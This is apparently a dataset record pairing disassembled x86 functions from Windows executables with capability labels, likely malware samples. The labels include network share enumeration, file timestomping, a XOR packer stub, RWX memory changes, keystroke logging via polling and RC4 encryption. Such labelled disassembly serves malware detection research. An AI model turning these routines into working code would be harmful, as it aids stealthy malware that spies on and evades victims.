joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f3e8
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
mov eax, dword [ebp - 8]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40f5c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x20
call fcn.004027f4
mov eax, dword [ebp - 4]
call fcn.004035bc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x48], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40f59a
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x2000
mov eax, dword [ebp - 0x18]
call fcn.00402494
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x40f581
cmp eax, 0xea
jne 0x40f4d8
mov dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x18]
call fcn.004024d4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x40f59a
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x40f471
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403374
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
call fcn.00403508
je 0x40f570
mov byte [ebp - 0x21], 0
mov eax, dword [0x4129a8]
call fcn.00403bec
mov ebx, eax
test ebx, ebx
jl 0x40f554
inc ebx
xor edi, edi
lea eax, [ebp - 0x54]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403374
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x20]
call fcn.0040f33c
mov eax, dword [0x4129a8]
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x20]
jne 0x40f550
mov byte [ebp - 0x21], 1
jmp 0x40f554
inc edi
dec ebx
jne 0x40f521
cmp byte [ebp - 0x21], 0
jne 0x40f570
lea eax, [ebp - 0x58]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.00403374
mov eax, dword [ebp - 0x58]
call fcn.0040e63c
add esi, 0x20
dec dword [ebp - 0x28]
jne 0x40f4ef
jmp 0x40f471
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x40f59a
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f5c9
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.004031a0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031a0
ret
Function at 0x40f5d4
Capabilities:
Get file size
Read file on windows
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40f755
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00404a10
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40f73f
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp esi, 0x1000000
jae 0x40f739
cmp esi, dword [0x4129c8]
jl 0x40f664
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [0x4129b0]
push eax
push ebx
call sub.kernel32.dll_ReadFile
mov eax, dword [0x411200]
mov eax, dword [eax]
call fcn.004035bc
mov ecx, eax
mov eax, dword [0x4129b0]
mov edx, esi
call fcn.00408d24
test eax, eax
sete al
jmp 0x40f666
mov al, 1
test al, al
je 0x40f739
mov eax, esi
call fcn.00402494
mov edi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.004045c8
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_GetFileTime
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, dword [0x4129b4]
mov ecx, dword [0x4129c8]
mov eax, ebx
call fcn.00404884
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.00404884
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x28]
mov edx, esi
mov eax, edi
call fcn.00405364
test al, al
je 0x40f71e
cmp dword [ebp - 0x28], 0
jbe 0x40f71e
cmp dword [ebp - 0x2c], 0
je 0x40f71e
mov esi, dword [0x4129bc]
sub esi, dword [0x4129b4]
push 0
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer
cmp esi, eax
jne 0x40f71e
mov edx, dword [ebp - 0x28]
mov eax, dword [0x4129b8]
call fcn.00407f48
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, ebx
call fcn.00404884
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
mov edx, esi
mov eax, edi
call fcn.004024b4
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f75c
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40fa68
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40fbca
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x20
call fcn.004027f4
mov eax, dword [ebp - 4]
call fcn.004035bc
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40fbac
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x2000
mov eax, dword [ebp - 0x14]
call fcn.00402494
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x40fb93
cmp eax, 0xea
jne 0x40fb31
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.004024d4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x40fbac
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
dec esi
test esi, esi
jl 0x40faca
inc esi
mov eax, dword [ebx]
call fcn.00403be4
inc eax
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x407ef8]
call fcn.00403da0
add esp, 4
mov eax, dword [ebx]
call fcn.00403bec
mov edx, dword [ebx]
lea eax, [edx + eax*4]
push eax
lea eax, [ebp - 0x3c]
mov edx, dword [edi + 0x14]
add edx, 2
call fcn.00403374
mov ecx, dword [ebp - 0x3c]
mov edx, 0x40fbe4
pop eax
call fcn.00403408
add edi, 0x20
dec esi
jne 0x40fb41
jmp 0x40faca
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x40fbac
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fbd1
lea eax, [ebp - 0x3c]
call fcn.0040317c
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x40fca4
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.004035ac
mov eax, dword [ebp - 0x18]
call fcn.004035ac
mov eax, dword [ebp - 0x1c]
call fcn.004035ac
xor eax, eax
push ebp
push 0x40fda8
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
mov eax, dword [ebp - 0x18]
call fcn.004035bc
mov edx, eax
mov eax, dword [0x412650]
pop ecx
call fcn.0040fc2c
pop ecx
test al, al
je 0x40fd8d
mov eax, dword [ebp - 0x1c]
call fcn.00404a00
test al, al
je 0x40fd1e
mov eax, dword [ebp - 0x1c]
call fcn.004035bc
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
push ebp
push 0x40fd72
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x1c]
call fcn.004035bc
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40fd7c
mov eax, dword [ebp - 0x10]
call fcn.0040450c
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fdaf
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004031a0
ret

Function at 0x4100c8
Capabilities:
Read file via mapping

Disassembly:
push ebx
xor ebx, ebx
push 0x41012c
push 0
push 6
call sub.kernel32.dll_OpenFileMappingA
mov dword [0x4129c0], eax
cmp dword [0x4129c0], 0
je 0x4100eb
mov bl, 1
jmp 0x410107
push 0x41012c
push 0x4054
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov dword [0x4129c0], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x4129c0]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x4129c4], eax
test bl, bl
jne 0x410128
call fcn.0040f768
mov eax, ebx
pop ebx
ret
Function at 0x41013c
Capabilities:
Clear file content
Get file size
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x410144
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x4102f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_GetLocalTime
lea edx, [ebp - 0x24]
movzx eax, word [ebp - 0x20]
call fcn.0040477c
push dword [ebp - 0x24]
push 0x410310
lea edx, [ebp - 0x28]
movzx eax, word [ebp - 0x1e]
call fcn.0040477c
push dword [ebp - 0x28]
push 0x410310
lea edx, [ebp - 0x2c]
movzx eax, word [ebp - 0x1a]
call fcn.0040477c
push dword [ebp - 0x2c]
lea eax, [ebp - 8]
mov edx, 5
call fcn.0040347c
lea eax, [ebp - 0x10]
mov ecx, dword [0x41f204]
mov edx, dword [ebp - 4]
call fcn.00403408
mov eax, dword [ebp - 0x10]
call fcn.00404a00
test al, al
je 0x41027a
mov eax, dword [ebp - 0x10]
call fcn.004035bc
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00403374
mov eax, dword [ebp - 0x30]
mov edx, 2
call fcn.00404a10
mov esi, eax
cmp esi, 0xffffffff
je 0x4102cf
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov edx, eax
mov eax, 0x1e
call fcn.00407f48
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, edi
call fcn.00403654
mov eax, dword [ebp - 0xc]
call fcn.004035bc
mov edx, eax
mov ecx, edi
mov eax, esi
call fcn.004045c8
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00403508
jne 0x410246
xor ebx, ebx
jmp 0x410272
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.00404854
mov eax, dword [ebp - 8]
call fcn.004033bc
push eax
mov eax, dword [ebp - 8]
call fcn.004035bc
mov edx, eax
mov eax, esi
pop ecx
call fcn.00404884
push esi
call sub.kernel32.dll_SetEndOfFile
push esi
call sub.kernel32.dll_CloseHandle
jmp 0x4102cf
mov eax, dword [ebp - 0x10]
call fcn.00404860
mov esi, eax
cmp esi, 0xffffffff
je 0x4102cd
mov eax, dword [ebp - 8]
call fcn.004033bc
push eax
mov eax, dword [ebp - 8]
call fcn.004035bc
mov edx, eax
mov eax, esi
pop ecx
call fcn.00404884
push esi
call sub.kernel32.dll_CloseHandle
push 6
lea eax, [ebp - 0x34]
mov ecx, dword [0x41f204]
mov edx, dword [ebp - 4]
call fcn.00403408
mov eax, dword [ebp - 0x34]
call fcn.004035bc
push eax
call sub.kernel32.dll_SetFileAttributesA
jmp 0x4102cf
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4102fe
lea eax, [ebp - 0x34]
mov edx, 5
call fcn.004031a0
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004031a0
ret
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d7a
nop
sub eax, 0x403d20
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x41b2b2
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0041b462
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x41b3b0
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x41b353
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x41b396
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x41b36a
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x41b385
test al, 0x40
je 0x41b37c
mov ecx, dword [edi + 0x20]
jmp 0x41b383
test al, 0x80
je 0x41b396
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x41b396
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x41b322
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x428410
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cf01b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c34fb
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x428492
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c0b53
mov eax, dword [eax]
push 0x8ddcf8
push eax
call fcn.004b2074
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c3786
test bl, bl
je 0x428492
push 0x8ddcf8
lea ecx, [esp + 0xc]
call fcn.004c3b16
push 0x8ddd04
lea ecx, [esp + 0xc]
call fcn.004c3b16
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4284ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c3786
jmp 0x428599
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x428552
lea edx, [esp + 0x7c]
push 0x8ddd00
push edx
call fcn.004b2074
add esp, 8
test eax, eax
je 0x428552
lea eax, [esp + 0x7c]
push 0x8ddcfc
push eax
call fcn.004b2074
add esp, 8
test eax, eax
je 0x428552
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4284e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c3786
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x428dc0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x428e22
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x428e30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cf09b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x8ed780]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x428f68
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x428e96
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c3786
xor eax, eax
jmp 0x428fdf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c38c3
push esi
lea ecx, [esp + 0xc]
call fcn.004c3b52
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x428fbd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00428dc0
test eax, eax
jne 0x428fbd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00428dc0
test eax, eax
jne 0x428fbd
lea eax, [esp + 0x14]
push 0x8ddd14
push eax
call fcn.004b3110
mov esi, eax
add esp, 8
test esi, esi
jne 0x428f9c
lea ecx, [esp + 0x14]
push 0x8ddd10
push ecx
call fcn.004b3090
mov esi, eax
add esp, 8
test esi, esi
jne 0x428f9c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x428f9f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c3873
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x428eae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c3786
xor eax, eax
jmp 0x428fdf
mov byte [esi], 0
push 0x8ddd0c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c3786
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x43f610
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43f67e
cmp si, 0x69
ja 0x43f67e
add esi, 0xffd0
cmp si, 0x11
je 0x43f64e
push 0x11
call edi
test ax, ax
jge 0x43f64e
or esi, 0x2000
cmp si, 0x10
je 0x43f663
push 0x10
call edi
test ax, ax
jge 0x43f663
or esi, 0x4000
cmp si, 0x12
je 0x43f678
push 0x12
call edi
test ax, ax
jge 0x43f678
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43f68b
mov esi, 0xbd
jmp 0x43f63f
cmp si, 0x6e
jne 0x43f698
mov esi, 0xbe
jmp 0x43f63f
cmp si, 0x6f
jne 0x43f639
mov esi, 0xbf
jmp 0x43f63f

Function at 0x441310
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8fe0a0]
xor edx, edx
cmp eax, edx
jne 0x441336
xor eax, eax
mov byte [eax + 0x8fdfa0], al
inc eax
cmp eax, 0x100
jl 0x44131e
mov dword [0x8fe0a0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8fdfa0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4413c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x44139a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x441368
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x441440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x441493
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x44147a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
